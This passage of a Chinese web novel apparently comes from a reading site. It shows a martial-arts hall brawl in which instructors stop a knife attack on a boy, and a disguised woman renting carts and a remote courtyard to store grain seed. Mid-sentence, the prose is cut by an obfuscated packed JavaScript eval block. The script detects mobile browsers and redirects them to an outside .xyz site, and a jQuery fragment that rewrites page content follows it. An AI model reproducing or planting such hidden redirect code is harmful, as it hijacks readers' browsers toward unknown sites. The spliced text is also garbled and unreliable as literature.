四五个人一拥而上，拳脚相加。然而他们很快发现，虎子像条泥鳅一样滑溜。拳头挥出，总是打在空处。他的动作看似杂乱无章，实则暗合武学要诀，每一个闪避都恰到好处。
“这小子！”领头的男孩彻底暴怒，冲到一旁的武器架前抽出一把长刀。刀身在晨光下泛着冷冽的光芒。
刀光闪烁，直取虎子咽喉。这一刀来势汹汹，已经完全超出了切磋的界限。
“住手！”两名教员同时出手，一个踢飞长刀，另一个则闪电般点中持刀少年的穴道，将他制服。
长刀“铛”的一声钉在地上，深深没入土中。周围的喧闹声戛然而止，所有人都屏住了呼吸。
“忘了规矩？”教员声音冰冷，“武艺堂第五条训诫，不得伤害同门性命！你这一刀若是砍实了，就是死罪！”
持刀少年脸色惨白，浑身颤抖，“我...我知错了。”
“关水牢一月，再犯者斩！”教员一挥手，立刻有人上前将犯事的少年拖走。
周围的学员听到“水牢”二字，都不由自主地打了个寒颤。那个终年不见天日的地方，常年积水及膝，老鼠蛇虫横行。在里面待上一个月，就算不死也要脱层皮。
虎子默默整理好包袱，仿佛什么都没发生过。但他的眼神，已经不再是从前那般温顺了。有什么东西在他心里悄然改变，就像是一颗种子破土而出。
......
沈长菱走在街上，心中盘算着接下来的计划。街道两旁店铺林立，行人络绎不绝，各种叫卖声此起彼伏。
她现在的装扮，是个四十岁左右的管家模样。肌肉假体将她的身形完全改变，连走路的姿势都刻意放慢，显得稳重老成。就连脸上的皱纹，都是用特制的药粉一点点堆砌出来的。
“这次的伪装应该万无一失。”她在心中暗道，同时警惕地观察着四周，“就算是老熟人，应该也认不出来。”
沈长菱站在车马行门口，眼神淡漠地扫过眼前的马车。初春的寒意还未散尽，一阵冷风吹过，卷起地上的尘土。她下意识地裹紧了身上的衣裳，目光在各式马车间逡巡。
“这位客官，可是要租马车？”一个矮小的身影快步迎了上来，佝偻着腰，脸上堆满谄媚的笑容，“小人是这车马行的郑牙人，您觉得是要奢华一点还是简约一点呢？两匹马拉的、一匹马拉的，应有尽有。”
沈长菱不动声色地打量着这个身高不过一米六的牙人。他身上穿着一件半新不旧的灰布长衫，腰间系着一条褪了色的蓝布腰带，一看就是个老滑头。她心中已有计较，故意压低了声音说道，“我家老爷就是用来搬东西的，要那些花里胡哨做什么？结实耐用就行。”
郑牙人眼睛一亮，立刻会意。这种打扮朴素却要租多辆马车的，十有**是富贵人家的管事。他连忙换上一副热络的口吻，“原来是这样。您跟我来，我给您看看这边的马车。”
他领着沈长菱转向另一侧，指着几辆档次明显低了不少的马车说道，“这些车厢都是用上好的榆木打造，结实耐用。您瞧这车轮，都是精铁打造，轮毂也是特制的。马儿更是精挑细选，一天赶路十个时辰都不成问题。”
沈长菱仔细打量着这些马车。虽然外表看起来普通，但做工确实扎实。车厢宽敞，足够装载大量货物。那些马虽然比不上她的墨玉，但胜在价格合适。她暗自点头，这正是她需要的。
“租金如何算？”她直奔主题。
郑牙人搓了搓手，“您要几辆？”
“一辆好些的出行用，四辆这样的拉货。”
听到这个数字，郑牙人眼中闪过惊喜之色。他搓着手，笑得更加谄媚，“我给您配车夫如何？都是熟手，保证伺候得您家老爷满意。”
“不必。”沈长菱果断拒绝。她可不想多几个闲杂人等盯梢，打探她的行踪。
两人讨价还价一番，最终敲定五辆马车，押金一百两，日租八百文。这个价格在沈长菱的预算之内，她很满意。
签契约时，沈长菱提笔写下“赵映尔”三字。郑牙人显然没料到眼前这个“下人”识字，愣了一下才回过神来，脸上的笑容略显尴尬。
“赵老爷，等您带马车回来，押金便可退还。”他赶紧说道，语气中多了几分恭敬。
沈长菱点点头，却又皱起眉头。这些马车该安置在何处？总不能停在大街上。她正思索间，郑牙人眼尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801816|171929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地察觉到了她的为难。
“赵老爷可是有什么难处？”
沈长菱略一沉吟，道，“我家老爷嫌客栈吵闹，想找个宁静的院子。”
“有！怎么没有！”郑牙人眉开眼笑，仿佛找到了新的生意机会，“租房子正是我们的营生！您且跟我来。”
很快，郑牙人带着沈长菱来到城南一处偏僻院落。放眼望去，四周尽是荒草，几株老槐树在风中摇曳，显得格外冷清。院墙虽有些斑驳，但还算完整。推开吱呀作响的院门，里面空间颇大，足够停放五辆马车。
沈长菱暗自欣喜，这地方正合她意。但面上却装出不悦，“就这破地方？连个人影都没有。”
“赵老爷别急，您看这环境多好！”郑牙人连忙解释，“远离闹市，清净自在。院子够大，货物马匹都放得下。最重要的是，隔壁邻居都是本分人家，不会打扰您。考虑到您是我们的老客户，一天才收您二两银子！”
“二两？”沈长菱冷笑，“这破院子漏风漏雨的，一天三百文，爱租不租。”
郑牙人装模作样地犹豫一番，不停擦着额头上并不存在的汗水，“这...这也太少了。要不...要不一天五百文？”
“三百文，一文不能多。”沈长菱态度坚决。
郑牙人叹了口气，一副肉痛的表情，“罢了罢了，就依您说的办。只是这院子许久没人住了，需要打扫一番。”
“不必费心，我自有安排。”
等郑牙人离开后，沈长菱立刻开始行动。她先是仔细检查了院落的每个角落，确保没有暗处的窥视。随后，她将空间里的粮食一点点转移到马车上。
四辆马车很快装得满满当当，足有四千斤粮种。这些都是她精心挑选的良种，每一粒都饱满圆润，只要种下去，必定能有好收成。
收拾完一切，天色已经不早了。沈长菱换回自己的装扮，骑着墨玉回到家中。路上，她不停盘算着接下来的计划。虽然准备工作已经就绪，但最难的还在后面。
晚上，她笑嘻嘻地凑到孟西北跟前，“师父～”
孟西北正在看书，听到她这甜腻的语气，不由得警惕起来，“又想干什么？”